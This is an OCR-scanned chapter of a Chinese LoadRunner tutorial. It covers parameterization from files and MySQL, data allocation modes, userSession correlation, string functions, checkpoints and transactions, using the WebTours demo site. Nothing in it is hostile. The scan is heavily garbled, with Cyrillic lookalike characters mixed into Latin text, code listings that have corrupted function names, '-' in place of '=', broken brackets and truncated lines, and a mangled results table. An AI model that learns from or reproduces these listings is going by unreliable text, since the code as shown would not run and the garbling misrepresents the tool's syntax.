ЕЕ bestteztandazhu 


Edit with Notepad... | D'ata Wizard... 


-Select column- 
(* By number: 
( Ву name: 


Sin 
-File form 
Column 


First dati 
Sequential 

Select next row: БЫ 

Update value on: Each iteration 


When aut of values | Continue with last value 


Allacate V user values n the Controler 


(= Automatically allocate block size 


(^ Allocate | values Tor each Vuser 


82-24 File 选择 
2) 单 击 图 2-24 中 的 Add Column 按 钮 ， 弹 出 如 图 2-25 所 示 的 对 话 框 ， 单 击 OK 按钮 。 


3) 单 击 图 2-24 中 的 Edit with Notepad 按 钮 ， 输 入 与 用 户 名 对 应 的 密码 ， 如 图 2-26 所 示 。 


Parameter type: | Fie 


File 


15 FL II 可 有 已 


besttest 


elete Colum, Lelele ЕШ 


"mum m m ш 


图 2-25 ”添加 列 


File username. dat 


 AddColmn. | Ада Row... | Delete W 


usernsmee 
besttest 

2 Jbesttestxiaogiang 
besttestandashu 


图 2-26 X Jo %40 


4) 回 到 脚本 中 替换 掉 密码 即 可 ， 方 法 与 用 户 名 的 替换 相同 ， 蔡 换 完成 后 的 代码 如 图 2-27 所 示 。 


/7 提交 登录 信息 ， 和 参数 化 了 用 户 名 、 

weh. submit "Дак" login.pl', 
"Action-http: 77127. 0. 0. 1:1080/WebTours/login.pl', 
"Method-POST', 
Tithe 
"RecContentType-text/htnl', 
"Referer-http://127. 0. 0. 1: 1080/WebTours /nav. pl?in-home', 
"snapshot-t6. inf”, 
"Mode-HTML', 
ІТЕМРАТА, 


"Name-username", "Value-[username]l^, ENDITEN, PE 用户 名 进行 аА 
“Name=password” “Yalue= {pwd}j”，ENDITEN，// 对 密码 进行 了 参数 化 ， 与 用 户 名 一 一 对 应 


"Name-logzin.x', "Value-58', ENDITEM, 
"Name-login.y", "Value-10', ENDITEM, 
LAST); 


图 2-27 ”密码 参数 替换 
2 .数据 库 参 数 化 
虽然 文件 参数 化 的 方法 可 以 帮助 完成 大 部 分 的 测试 需求 ， 但 是 在 遇 到 超大 数据 量 时 如 何 参数 化 呢 ? 小 白带 着 这 个 疑问 请 教 了 经 理 ， 经 理 告诉 他 可 以 研究 参数 化 中 的 Data Wizard, 
要 想 使 用 数据 库 参 数 化 首先 就 需要 安装 CODBC， 而 小 白 所 在 公司 正好 主要 使 用 MySQL， 于 是 先 下 载 一 个 MySQL ODBC 并 安装 到 本 地 ， 之 后 配置 即 可 ， 步 又 如 下 。 
1) 在 脚本 里 新 建 一 个 参数 ， 名 为 usernamedb。 
2) 单 击 Data Wizard 按 钮 ， 在 弹出 的 对 话 框 中 选择 Specify SQL statement manu 并 单 击 “下 一 步 ” 按 钮 ， 出 现 如 图 2-28 所 示 的 界面 。 


3) 单 击 图 2-28 中 的 Create 按 钮 ， 在 弹出 的 对 话 框 中 选择 “机 器 数据 源 ”后 单 击 “ 新 建 ”按钮 ， 出 现 如 图 2-29 所 示 的 界面 。 


specify SQL statement 


Connection 


< 上 一 步 @) | Finish | 取消 | 帮助 | 


图 2-28 创建 数据 库 连 接 


С Е-# 0) 


取消 


82-29 ”新 建 数据 源 


4) 选择 图 2-29 中 的 “系统 数据 源 (只 用 于 当前 机 器 ) ”并 单 击 “下 一 步 ” 按 钮 ， 出 现 如 图 2-30 所 示 的 界面 。 


5) 选择 图 2-30 中 的 “MySQL ODBC 3.51 Driver” 并 单 击 “ 下 一 步 ” 按 钮 ， 出 现 如 图 2-31 所 示 的 界面 。 


选择 您 想 为 其 究 装 数据 将 的 驱动 程序 (S) ° 


Microzoft FoxPro VFP Driver (ж. dbf) 
Microsoft ODBC for Üracle 
Microsoft Paradox Driver (ж. db ) 
Microsoft Paradox-Traiber (*.db ) 
Microzoft Text Driver (X*.tixt; *.czv) 
Microsoft Taxt-Ireibaer (X*,txt: Ж, сту] 
Microzoft Visual FoxPro Driver 
| Шс zExazL-aibar 
| MySQL ODBC 3.51 Driver 


SL. Server ы 


图 2-30 ”了 驱动 程序 


i1 


L Connector/ODBC Data Š Cards 


"P ғ. 
Connector/ODBC 


Lannectian Parameters 


Data Source Мате: besttest 

Description: — bestiest 
DPP 1270024 — | putt 3306 — 
©) МатедрРіре: 


User: root 


Password: 


图 2-31 MySQL 连接 

图 2-31 中 的 内 容 用 来 填写 连接 MySQL 的 信息 ， 各 选项 含义 如 下 。 

- Data Source Name 和 Desctiption 可 随意 填写 。 

. TCP/IP Server: 是 MySQL 所 在 服务 器 的 IP 地 址 。 

. Port: MySQL 使 用 的 端口 号 。 

: User: MySQL 账号 的 用 户 名 。 

: Password: MySQL 账号 的 密码 ， 如 果 为 空 则 不 填 。 

: Database: 是 可 以 连接 的 数据 库 列表 。 

Test: 可 以 测试 是 否 成 功 连接 。 
6) 完成 上 述 填写 并 确定 后 ， 在 列表 中 看 到 新 建 的 数据 源 ， 如 图 2-32 所 示 。 


7) 双击 besttest 后 ， 可 以 把 此 数据 源 配置 到 Data Wizard 中 ， 如 图 2-33 所 示 。 


eR op 


"nn ЇР, 
| “Г 1: ' 
-— hs 


IBASE Files 
Excel Files 
Ns Access Database 


НЕ, EER mysql 


besttest 


图 2-32 ”数据 源 效果 图 


BASE-bbs;DESCRIPTIUN-bezttezt;DE5N-] 


图 2-33 加 入 Connection 


8) 在 图 2-33 中 的 SQL 处 输入 想 要 查找 的 SQL 语 句 ， 这 样 就 可 以 查询 出 想 要 的 数据 ， 这 里 输入 select username from pre common member; 后 单 击 Finish 按 钮 ， 完 成 所 有 设置 ， 效 果 如 图 2-34 所 示 。 
至 此 ， 完 成 数据 库 的 参数 化 ， 这 里 以 BestTest 论 坛 为 例 进行 练习 ， 在 实际 工作 中 ， 只 需要 变换 MySQL 信 息 以 及 对 应 的 SQL 语 句 即 可 。 


3. 五 彩 斑 澜 ”的 参数 化 


其 实 LoadRunner 的 参数 化 功能 十 分 强大 ， 上 面 小 白 学 习 的 是 最 常用 的 几 种 。 参 数 化 时 间或 者 一 个 随机 值 ， 可 以 在 参数 化 对 话 框 的 Parameter type 下 拉 列 表 中 选择 ， 如 图 2-35 所 示 。 


File usernamedb. dat 


Add Column... | Add Row... 


username 

admin 
xisogiangl 
xiaogiang?2 
/Xlaoglang3 


图 2-34 ”数据 导入 


Date/Time 
— —4 File 
user:[aroup Marne 
Iteration Number 


Random Number 
Table 

| Unique Number 

= User Defined Function 
v'user IL 
XML 


图 2-35 Parameter type 


参数 化 的 类 型 非常 多 ， 但 一 般 最 常用 的 是 File 和 Table 类 型 ， 不 过 小 白 还 是 对 其 他 参数 类 型 的 用 法 做 了 如 下 总 结 。 


: Date/Time: 可 以 在 需要 参数 化 日 期 的 地 方 使 用 此 类 型 。 

Group Мате: 使 用 该 虚拟 用 户 所 在 的 Vuser Group 名 称 来 代替 参数 化 。 

` Iteration Number: 使 用 脚本 执行 的 当前 迭代 次 数 来 代替 参数 化 。 

- Load Generator Name: 使 用 产生 Vusets 负 载 的 机 器 名 称 来 代替 参数 化 。 

: Random Number: 使 用 一 个 随机 数 来 代替 参数 化 。 

: Unique Number: 使 用 一 个 唯一 的 整数 来 代替 参数 化 。 

: User Defined Functions: 扩展 接口 ， 可 从 用 户 开发 的 DLL 文件 中 提取 数据 。 

: Vuser ID: 使 用 虚拟 用 户 的 ID 来 代替 参数 化 。 

(XML: 提供 对 XML 格 式 数据 的 支持 。 可 以 从 XML 中 读 取 数据 进行 参数 化 。 
4. 参 数 化 数据 分 配方 式 
参数 化 设置 完成 后 ， 其 更 新 分 配 值 的 方式 设置 更 为 重要 。 首 先 理 解 如 下 两 个 概念 。 
1) Select Next Row: 选择 下 一 行 的 策略 。 各 子 选 项 含义 如 下 。 

. Sequential: 顺序 取 行 。 

: Random: 随机 取 行 。 

: Unique: 使 用 唯一 行 。 


2) Update value on: 更 新 值 的 策略 。 各 子 选 I 


xi 
D» 


S AIT. 

` Bach iteration: 每 次 迭代 都 要 取 新 值 。 

: Each Occurrence: 只 要 发 现 该 参数 就 重新 取 值 。 

: Опсе: 在 所 有 的 反复 中 都 使 用 同一 个 值 。 

理解 了 上 述 概念 后 ， 小 白 意识 到 这 两 个 组 合 起 来 就 有 9 种 可 能 了 。 那 么 这 9 种 可 能 的 结果 是 什么 呢 ? 让 我 们 与 小 白 一 同 动手 实战 吧 ， 如 代码 清单 2-4 所 示 。 


代码 清单 2-4 参数 化 更 新 方式 


//8fi 4 besttest. f/jxiaogiang. andashu, Ж/Х 
Action () 
{ 


lr eval string ("(besttest] 
return 0; 


} 


lr eval string ("(besttest]/) ; // 获 取 参 数 pesttest 的 值 ， 后 面 会 讲 到 用 法 
I") ; 


以 运行 代码 清单 2-4 为 例 ， 各 种 组 合 的 结果 如 表 2-1 所 示 。 


表 2-1 更 新 方式 组 合 结果 


Select Next Row | Update Value Оп Result 
us MALI й a " А . 
| = KAS INJ xiaogiang, xiaoqiang 
Sequential Each iteration x e = | ü 
1 Ki andashu, andashu 
Sequential Each Occurrence СА А staodiangs, andashn 
| 次 迭代 为 xiaoqiang, andashu 
i ee 第 一 次 迁 代 为 xiaoqiang, xiaoqiang 
Я | з RIER xiaogiang, xiaoqiang 
Random Each iteration “ХАКИ, MI besttest 取信 相同 ， 都 是 从 参 效 信里 随机 选取 一 个 
КЕГЕ, PIA besttest 取 值 相同 ， 都 是 从 参数 值 里 随机 选取 一 个 
Random Fach Occurrence ІЖ j? ` 党 一 epe besttest p L 取 一 ^B, В. ' T besttest 纪 随 机 取 - . 个 ГЕ] 
| | 次 选 代 ， 第 一 个 besttest 随机 取 一 个 值 ， 第 二 个 besttest 也 随机 取 一 个 值 
Капйош 每 次 迁 代 每 次 出 现 均 取 什 相同， 值 随机 选取 
Üni Each iteration -次 渤 代 为 xiaoqiang, xiaoqiang 
nique | 
i 目 动 分 配 块 大 小 (RIEC W andashu, andashu 
-€—— 次 选 代为 еш А өр 
Unique " " a 第 二 次 迭代 报错 ， 上 表 次 增加 两 个 参数 值 fengluo, qiangqiang 后 运行 ， 第 . 
— а у fengluo, qiangqiang 
Unique 两 次 渤 代 每 次 出 现 取 值 都 相同 


以 上 是 小 白 在 熟悉 各 种 方式 参数 化 时 使 用 的 例子 ， 重 在 理解 ， 读 者 也 可 以 使 用 不 同 的 方式 来 学 习 ， 其 实 


2.5.3 ”关联 实战 


通过 上 面 的 学 习 ， 小 白 对 LoadRunner 的 兴趣 大 增 ， 于 是 趁 热 打铁 继续 前 进 


o 而 此 时 ， 


只 要 理解 了 这 几 个 选项 的 含义 ， 结 果 就 不 难 推断 出 来 。 


小 白 看 到 了 不 少 人 在 群 里 讨论 “关联 ”的 问题 ， 他 也 很 好 奇 。 经 过 观看 BestTest 公 开课 的 视频 了 解 到 ， 关 联 其 实 


就 是 动态 地 获取 服务 器 返回 的 某 些 值 ， 很 多 人 觉得 获取 的 是 服务 器 返回 的 动态 值 ， 其 实 即使 是 不 动态 的 值 ， 也 完全 可 以 用 关联 。 所 以 很 多 东西 不 能 人 云 亦 云 。 


一 般 出 现 以 下 几 种 情况 需要 考虑 是 否 使 用 关联。 


1) 服务 器 返回 中 存在 动态 变化 的 值 ， 一 般 就 是 类 似 Session 的 无 规则 数据 。 


2) 运行 后 没有 报错 ， 但 是 也 没有 产生 记录 。 


3) 


后 续 的 操作 要 使 用 到 之 前 的 数据 。 例 如 ， 回 帖 操 作 要 知道 之 前 发 帖子 的 tid 才 能 。 


明白 关联 的 含义 后 ， 接 下 来 学 习 天 联 函 数 ， 继 续 使 用 “利器 ” 碍 找 学 习 。 
函数 用 法 : 

web reg save param ("关联 的 名 称 ， 可 自 定义 "，"LB= 左 边界 "，"RB= 右 边界 "，LAST) ; 
关联 函数 就 是 通过 指定 的 左右 边界 来 获取 值 的 。 


1. 设 置 WebTours 关 联 


有 人 说 ， 有 WebTours 的 地 方 就 可 以 设置 关联 ， 于 是 他 打开 WebTours 开 始 寻找 。 


Web Tours 


Welcome to the Web Tours site. | 
To make reservations,please enter your account informatia 
If you haven't registered yet, sign up now to get access ig 
To configure the server options, 


This product uses parts of the SMT Kernel, Copyright (с) 1991-59 iMal 


2. 自 动 关联 


就 可 以 使 用 WebTours 的 登录 练习 关联 了 。 


Administration Page 


Add cxtra HTML form code to thc page within HTHL comments. 
The extra HTML cade is ignored by the browsers, but it could pose a problem for parsers. 


Add additional JavaScript that will calculate the days in advance for the ticket purchase. 
It appears on the first Flight reservation page and will calculate the days in advance on the submission of the 
nitial flight information form. 


[vil Set LOGIN farm s action tag to an error page 
"EA * When the user submits the form, a javascript routine will re-set the action tag tid ca aler the hifiden field fag. 
The Ingin.pl (what the action tag іє reset to by javascript) script checks to make sure the hidden field flag has 
been set. 


图 2-36 WebTours 关 联 设 置 


LoadRunner 中 的 关联 可 以 通过 自动 与 手动 两 种 方式 来 完成 ， 先 学 习 自动 和 关联。 首先 重新 录制 一 次 设置 关联 后 的 登录 、 退 出 操作 ， 关 键 代码 如 下 。 


代码 清单 2-5 ”开启 关联 后 的 登录 、 退 出 操作 


// 提 交 登 录 请 求 
web submit data ("login.pl", 
"Action-http: //127.0.0.1: 1080/WebTours/login.pl^, 
"Method-POST", 
"RecContentType-text/html", 
"Referer-http: //127.0.0.1: 1080/WebTours/nav.pl? in-home", 
"Snapshot-t3.inf", 
“Mode=HTML”, 
TEMDATA, 
“Name=userSession”，// 多 了 一 个 userSession 
"Value-113114.39327663fiViDcVpzAtVzzzHDtQAOpOcOzcf", ENDITEM, 
"Name-username",  "Value-besttest",  ENDITEM, 
"Name-password",  "Value-123123", ЕМРІТЕМ, 
"Name-JSFormSubmit",  "Value-on", ЕМРІТЕМ, 
"Name-login.x",  "Value-39", ЕМРІТЕМ, 
"Name-login.y",  "Value-6", ENDITEM, 


` 


小 白 回放 了 一 次 脚本 ， 但 是 出 现 了 错误 ， 如 图 2-37 所 示 。 


ACER 


观察 上 面 的 代码 发 现 ， 提 交 登 录 请 求 的 函数 中 比 之 前 多 了 一 个 userSession， 小 白 猜 想 这 个 也 许 就 是 需要 关联 的 。 为 了 验证 猜想 ， 
Error -27987: Requested image not found [MsgId: MERR—27987 
web imagze( SiznOff Button”) highest severity level was “ERROR”, 0 body bytes, 0 header 


ction. c(30 
ction. c (30) 


图 2-37 关联 报错 
错误 提示 说 找 不 到 退出 按钮 这 个 图 片 ， 这 说 明 没有 登录 成 功 。 于 是 小 白 利 用 LoadRunner 的 自动 关联 试 试 ， 看 看 能 不 能 实现 。 步 骤 如 下 。 
1) 扫 拉 关联， 选择 菜单 中 的 Vuser 一 Scan Script for Correlations 选 项 ， 如 图 2-38 所 示 。 


2) 遇 到 如 图 2-39 的 提示 后 ， 单 击 Yes 按 钮 。 


| Vuser | Actions ook Window 
@ Start Recording... 


Б |> Run F5 
|. Stop Ctr-F5 
Ha Pau 

Compile Shift+F5 


Run Step by 5te 


f$] VW 6: 


Parameter List... Ctri-L P? 


了 = 
[ |, n" = и m 
— | п L: " = B ш ш! ов css = m " ни Li = E u la 1 | Е M 
Гы E mu [Г | = 
D " Ë [ Е p s н" | і ^ сш ш: E E ^ т | = 
ü | n m" — Е Е ! " " 
ш і | "un m 一 = | 
k u ! Ë gu ' 
" = _! a 2,852 LI i z = A р - Z o = = = 


RI 


Сап Tor Correlations (at Cursor) 
Create Correlation 


Run-Time Settings... F4 


x= = 


图 2-38 ”扫描 关联 


HP Virtual User Generator 


— waw E 


Scanning for correlations may take а few minutes. 
Would vau like to continue? 


12-39 ”扫描 提示 
3) 等 待 一 会 后 便 可 以 扫描 出 关联 ， 然 后 单 击 右 侧 的 Remove Correlation 按 钮 完成 ， 如 图 2-40 所 示 。 
4) 回 到 代码 中 即 可 看 到 关联 函数 出 现 了 。 
Qi: LoadRunner 11 中 自动 关联 存在 问题 ， 有 时 候 会 出 现 无 法 扫描 关联 的 情况 ， 有 具体 原因 未 知 。 所 以 这 里 不 推荐 使 用 此 方法 ， 推 荐 使 用 下 面 将 要 学 习 的 手动 关联 。 
ЖҮЗҮ . | Page View | Client Request | Server Response | 


ИТР || HTTP Response of Recording 


-Dr] // [WCEPARAM WESH &i- S£» Response 
Cp Service] Reg Saw: 

A3 Url: WebIaoursz 

-BE Submit Deta: logi 

I] Image: Signüff E 


} 


-'daJSFormSubmitliíthizs]' target-body- 
azl17.45156808425£VADtÜHpzHAiDPDDDDAzcApüizActi» 


HTTP Response of Replay: resulE1'*Iterationi 


ЕЕ ET WebTours = 

[+ ET Web Tours 
HE Er web Tours— 
: Ф, Мо Links = 


color: black! РЧ 
tj 


ый ; азарае аце l сааса 


ani" i : 3 
Tree View Thumbnails | W; 
n Replay Log | n Recording Log = Correlation Results | Generation Lag ЕЗ 
Show Differences Ir Al Actions + Advanced Correlation Dpt Which differences should I cor Select a difference x | 


Ë | == and press Correlate. 
Correlated | Text in Recording | Text in Replay: result 1"Iteration1I | First occurs in. | 
——— -一 一 — sss mms: ары реу ын — | Remove Correlation. Correlation | 
y g9217.45156808425[vVADEQHpzHAIDD.. | 99217.53900365452f1VADIAcpVzcEFDAz... Action 

Lreate Rule 


I a. 


图 2-40 ”关联 成 功 


3. 手 动 关联 

说 到 手动 关联 ， 小 白 想 起 网 上 很 多 人 都 头疼 ， 不 知道 怎么 找 需要 关联 的 地 方 。 不 过 通过 细心 地 碍 找 资料 发 现 一 般 可 以 使 用 如 下 几 种 技巧 。 
1) 根据 经 验 ， 一 般 需 要 关联 的 值 会 在 HTML 的 hidden 标 签 中 出 现 。 

2) 录制 两 份 相 同业 务 流程 的 脚本 ， 然 后 利用 Tools 菜 单 下 的 Compare with Script 功能 来 对 比 ， 一 般 不 一 样 的 地 方 需要 考虑 是 否 关联 。 
知道 这 两 个 技巧 后 ， 小 白 开 始 动手 实验 。 步 又 如 下 。 

1) 单 击 Tree 按 钮 切换 到 Tree 视 图 。 

2) 因为 userSession 是 在 提交 请 求 后 返回 的 ， 所 以 以 web_submit_data 函 数 为 起 点 查看 需要 关联 的 值 到 底 在 哪里 。 


3) 单 击 左 侧 Action 树 中 的 Url: WebTours， 再 切换 到 HTTP View 视 图 ， 从 上 到 下 查看 Path 中 是 否 存 在 userSession。 在 Path 为 /WebTours/nav.pl?in=home 下 找到 userSession， 果 然 茂 在 了 hidden 


标签 里 ， 如 图 2-41 所 示 。 


ESSE X @ statRacod ра 6|& Is 8 € 


. Action 
Edi Action Ü | | мад’ — 
E . а | we th o "ni r — Start Tine MEL PRG, 
T rm | l'WehTours/ | 18:32:44, 4 16 
E Summit Data: login pl ANetlTours header. htnl # 1B:32:45.: 16 
E LRH Mok volecno, gf zignifi 18:39:46. 5 546 
LM] Талга: SigrDf£ Button | B 18-90-46 £ 4 
à ; 16:39:46. 312 


ml er li i 
</style> 


{input "mm —— ion vmlu==11%114. 人 


12-41 hiddendj £ 
4) 找到 后 要 分 析 它 的 左右 边界 。 这 里 有 个 小 技巧 就 是 ， 一 般 以 需要 关联 的 值 为 中 心 ， 以 “向 左 走 ， 向 右 走 ” 来 划 定 边界 。 那 么 左边 界 就 是 “name=userSession value=”， 右 边界 就 是 “>” 。 
5) 在 代码 中 添加 关联 函数 ， 并 在 web submit data 中 使 用 {userSession} 来 替换 一 长 串 数 字 、 字 母 ， 关 键 代 码 如 代码 清单 2-6 所 示 。 


代码 清单 2-6 ”手动 关联 


// 关 联 userSession 
//«input type-hidden name-userSession 
value-113114.39327663fiViDcVpzAtVzzzHDtQ 
AQpQcOzcf» 
web reg save param ("userSession", 
"LB-userSession value=”, 
NN p=; 
LAST) ; 
// 打 开 首 页 
web url (“WebTours”, 
"URL-http: //127.0.0.1: 1080/WebTours/", 
"Resource-0", 
"RecContentType-text/html", 
"Referer-", 
"Snapshot-tl.inf", 
"Mode-HTML.", 
LAST) ; 
// 提 交 登 录 请 求 
epe ug ("login.p1”, 
"Action-http: //127.0.0.1: 1080/WebTours/login.pl", 
"Method-POST", 
"RecContentType-text/html", 
"Referer-http: //127.0.0.1: 1080/WebTours/nav.pl? in-home", 
"Snapshot-t3.inf", 
"Mode-HTML.", 
TEMDATA, 
"Name-userSession",  "Value-[userSession)", ENDITEM, // 此 处 替换 
"Name-username",  "Value-besttest",  ENDITEM, 
"Name-password",  "Value-123123", ЕМРІТЕМ, 
"Name-JSFormSubmit",  "Value-on", ЕМРІТЕМ, 
"Name-login.x",  "Value-39", ENDITEM， 
"Name-login.y",  "Value-6",  ENDITEM, 
LAST) ; 


另外 ， 还 可 以 选择 VuGen 菜 单 下 的 Insert 一 New step 来 插入 关联 函数 ， 如 图 2-42 所 示 。 


Insert | Vuser Actions Toob Window 


End Transaction 


Rendezvous... 


Comment... 
Log Message... 


* New Parameter... 


Toggle Breakpoint Fa 


2-42 ”插入 关联 函数 


4. 天 联 函 数 扩 展 


LoadRunner 中 有 如 下 两 个 国 数 对 关联 进行 了 扩展 ， 其 实 就 是 增加 了 正则 表达 式 和 Xpath 的 识别 。 


// 可 以 识别 正则 表达 式 

web reg save param ех C 

“paramName= 关 联名 ”， 

"LB/RE-LL[0-9]*", // 加 上 RE， 表 示 可 以 使 用 正则 表达 式 
"RB/RE-.RR", 


Qi. 正则 表达 式 是 对 字符 串 操 作 的 一 种 逻辑 公式 ， 就 是 用 事先 定义 好 的 一 些 特定 字符 及 这 些 特定 字符 的 组 合 ， 组 成 一 个 “规则 字符 囊 ”， 这 个 “规则 字符 囊 ” 用 来 表达 对 字符 串 的 一 种 过 滤 逻 辑 。 


具体 可 查找 相关 资料 学 习 ， 不 在 本 书 范围 内 。 


// 可 以 识别 Xpath 

web reg save param xpath ( 
“ParamName= 关 联名 ”， 
QueryString=xpath 路 径 值 ”， 
LAST ); 


Qi XPath 是 一 门 在 XML 文档 中 查找 信息 的 语言 。XPath 用 于 在 XML 文档 中 通过 元 素 和 属性 进行 导航 。 有 具体 用 法 与 web_teg_save_patam 类 似 ， 只 是 特性 上 做 了 扩展 。 


2.5.4 逻辑 判断 增强 实战 


LoadRunner 的 VuGen 也 算是 一 个 编辑 器 ， 虽 然 不 像 其 他 专业 开发 工具 那么 强大 ， 但 该 有 的 功能 还 是 有 的 。 小 白 为 了 把 知识 融合 到 一 起 ， 决 定 再 次 对 这 个 脚本 进行 改造 。 他 的 大 致 思路 是 : 根据 检查 点 
函数 获取 的 用 户 名 次 数 来 判断 是 否 登录 成 功 ， 如 果 获 取 的 次 数 大 于 0， 就 认为 成 功 。 


开始 之 前 先 来 学 习 几 个 函数 ， 用 法 如 下 。 

1.atoib42% 

函数 用 法 : 

int atoi ( 要 转换 成 整 型 的 字符 ) ; // 把 指定 的 字符 转换 成 整 型 


2.Ir ема! string 国 数 


函数 用 法 : 


lr eval string("{ 当 前 想 要 获取 的 参数 名 }”) ) ;”// 获 取 指 定 的 当前 参数 的 值 


3.strcmp 辆 数 


函数 用 法 : 


strcmp〔 字 符 串 1， 字符 串 2) ;”// 比 较 字符 串 1 与 字符 串 2 的 大 小 


示例 如 代码 清单 2-7 所 示 。 


代码 清单 2-7 ” ”strcmp 函数 


Action () 
{ 
int result; 
char ітр [20]; 
char stringl[] "The quick brown dog jumps over the lazy fox"; 
char string2[] "The QUICK brown dog jumps over the lazy fox"; 
result = strcmp ( stringl, string2) ;  // Case-sensitive comparison 
if (result » 0) 
lr output message ("strcmp: String 1 is greater than string 2"); 
else if (result < 0) 
lr output message (“strcmp: String 1 is less than string 2”); 


else 


lr output message (“strcmp: String 1 is equal to string 2”); 
return 0; 


} 


4.strcpyER ZA 


函数 用 法 : 


stropy (HFFR, 原 字符 串 ) ; // 将 原 字符 串 拼接 到 目标 字符 串 后 


示例 如 代码 清单 2-8 所 示 。 


代码 清单 2-8 strcpy 函 数 


Action ©) 
{ 


char fullpath[1024]; 

strcpy (fullpath, “с: \\besttest”) ; 

lr output message ("fullpath after strcpy: $s", fullpatb) ; 
return 0; 


} 


5. 增 强 脚本 思路 与 代码 


熟悉 了 上 面 几 个 函数 用 法 后 ， 就 可 以 试 试 增强 脚本 了 。 再 次 整理 脚本 编写 的 思路 ， 登 录 成 功 后 检查 用 户 名 并 记录 次 数 ， 使 用 Ir_eval_string 遂 数 获取 用 户 名 出 现 的 次 数 ， 通 过 atoi 函 数 进行 转换 之 后 与 0 比 
较 ， 只 要 不 等 于 0， 就 认为 成 功 。 关 键 代码 如 代码 清单 2-9 所 示 。 


代码 清单 2-9 ”脚本 增强 


// 文 本 检查 点 ， 检 查 用 户 名 
web reg find (“Text=besttest”, 
 "SaveCount-besttest count”，// 保 存 检查 到 的 次 数 
LAST ); Е 

// 提 交 登 录 请 求 
күз т ("login.pl", 

"Action-http: //127.0.0.1: 1080/WebTours/login.pl", 
"Method-POST", 
RecContentType-text/html", 

"Referer-http: //127.0.0.1: 1080/WebTours/nav.pl? in-home", 
"Snapshot-t3.inf", 


"Mode-HTML.", 
TEMDATA, 
"Name-userSession",  ""Value-(userSession)", ENDITEM, // 此 处 替换 
"Name-username",  "Value-besttest",  ENDITEM, 
"Name-password",  "Value-123123", ЕМРІТЕМ, 
"Name-JSFormSubmit",  "Value-on",  ENDITEM, 
"Name-login.x",  "Value-39", ЕМРІТЕМ, 
"Name-login.y",  "Value-6",  ENDITEM, 
LAST) ; 
// 增 加 判断 ， 如 果 检查 到 用 户 名 出 现 的 次 数 大 于 0， 则 登录 成 功 ， 否 则 失败 
if (atoi (lr eval string (“{besttest count}”) ) ! =0) 
lr output message (“КА”) ; 


else 
lr error message (“ЖКГ”) ; 


2.5.5 ”事务 实战 


到 这 里 ， 一 个 比较 完整 的 脚本 就 诞生 了 ， 小 白 也 有 了 些许 成 束 感 。 纵 观 一 遍 代码 小 白 发 现 好 像 少 了 事务 的 封闭， 这 个 怎么 能 忽略 呢 ， 自 己 太 糊涂 了 。 

事务 可 以 理解 为 一 个 或 多 个 操作 的 集合 ， 以 WebTours 来 说 ， 可 以 把 打开 首页 、 登 录 作 为 一 个 事务 ， 也 可 以 只 把 登录 作为 一 个 事务 ， 这 个 需要 根据 具体 的 业务 和 目的 来 灵活 处 理 。 
事务 的 插入 可 以 在 录制 过 程 中 进行 ， 也 可 以 在 录制 完成 后 的 脚本 中 自行 插入 。 不 是 所 有 操作 都 需要 封装 成 事务 的 ， 只 对 关心 的 操作 进行 事务 封装 即 可 。 

插入 事务 有 两 种 方法 。 


1) 手工 写 代 码 。 不 要 志 了 事务 有 开始 就 需要 有 结束 需要 配对 出 现 ， 代 码 编写 方法 如 下 。 


lr start transaction ("事务 名 称 ”) ; 


lr end transaction ("事务 名 称 “， LR AUTO); 


2) 利用 插入 功能 。 如 图 2-43 所 示 ， 只 需要 注意 Start Transaction 和 End Transaction 中 事务 的 名 称 要 一 致 。 


$ Rendezvous... 


Comment... 


Log Message... 
$. New Parameter... 


Toggle Bre 


图 2-43 ”插入 事务 
Qi ЖТ, Еа, ае. ЖАК. BAJ BANANE, AREA Y Ву F ТЕРА ДЕ, 
1. 自 动 事务 
自动 事务 函数 的 结果 交 由 LoadRunner 来 判断 ， 关 键 代码 如 代码 清单 2-10 所 示 。 


代码 清单 2-10 ”自动 事务 


// 增 加 了 事务 ， 开 头 

lr start transaction ("login") ; 

// 和 提交 登录 请 求 

web submit data ("login.pl", 
"Action-http: //127.0.0.1: 1080/WebTours/login.pl", 
"Method-POST", 
"RecContentType-text/html", 
"Referer-http: //127.0.0.1: 1080/WebTours/nav.pl? in-home", 
"Snapshot-t3.inf", 
"Mode-HTML.", 

TEMDATA, 
"Name-userSession",  "Value-[userSession)", ENDITEM， // 此 处 替换 
"Name-username",  "Value-besttest",  ENDITEM, 
"Name-password",  "Value-123123", ЕМРІТЕМ, 
"Name-JSFormSubmit",  "Value-on", ЕМРІТЕМ, 
"Name-login.x",  "Value-39", ENDITEM， 
"Name-login.y",  "Value-6",  ENDITEM, 
LAST) ; 

lr end transaction ("login", LR AUTO); // 事 务 结尾 ， 要 与 开头 对 应 


2. 手 动 事务 
和 自动 事务 相反 ， 手 动 事务 的 结果 可 以 自己 指定 。 关 键 代码 如 代码 清单 2-11 所 示 。 


代码 清单 2-11 “手动 事务 


// 文 本 检查 点 ， 检 查 用 户 名 
web reg find ("Text-besttest", 
"SaveCount-besttest count", 
LAST ) ; Е 

// 增 加 了 事务 
lr start transaction ("login") ; 
// 和 提交 登录 请 求 
web submit data ("login.pl", 

"Action-http: //127.0.0.1: 1080/WebTours/login.pl", 

"Method-POST", 

"RecContentType-text/html", 

"Referer-http: //127.0.0.1: 1080/WebTours/nav.pl? in-home", 

"Snapshot-t3.inf", 

"Mode-HTML.", 
TEMDATA, 
"Name-userSession",  "Value-(userSession)", ENDITEM, // 此 处 替换 
"Name-username",  "Value-besttest",  ENDITEM, 
"Name-password",  "Value-123123", ЕМРІТЕМ, 
"Name-JSFormSubmit",  "Value-on", ЕМРІТЕМ, 
"Name-login.x",  "Value-39", ЕМРІТЕМ, 
"Name-login.y",  "Value-6",  ENDITEM, 


LAST) ; 
// 增 加 判断 ， 如 有 果 检 查 到 用 户 名 出 现 的 次 数 大 于 0， 则 事务 结果 成 功 ， 否 则 失败 


if (atoi (lr eval string ("[besttest count}”) ) ! =0) 


| transaci 


| transaci 


tion ("login", IR PASS) ; 


tion ("login", LR FAIL) ; 


2.6 ”脚本 调试 实战 


经 历 完 脚 本 编写 的 折磨 后 ， 小 白 并 没有 休息 ， 他 想到 了 平时 经 常 看 到 同事 调试 代码 时 总 是 用 断 点 、 打 印 日 志 等 方法 ， 不 知道 LoadRunner 的 VuGen 能 不 能 实现 ， 于 


2.6.1 message 函数 详解 


在 前 面 已 经 使 用 过 了 message 消 数 ， 但 并 没有 深入 了 解 ， 下 面 深入 学 习 。 


1.Ilr_output_message 函 数 


该 函数 一 般 用 于 打印 输出 到 控制 台 和 output.txt 文 件 中 。 


函数 用 法 : 


lr output message ( “52230 20)”, lr eval string ( "(username]" ) 


) ; 


是 继续 研究 。 


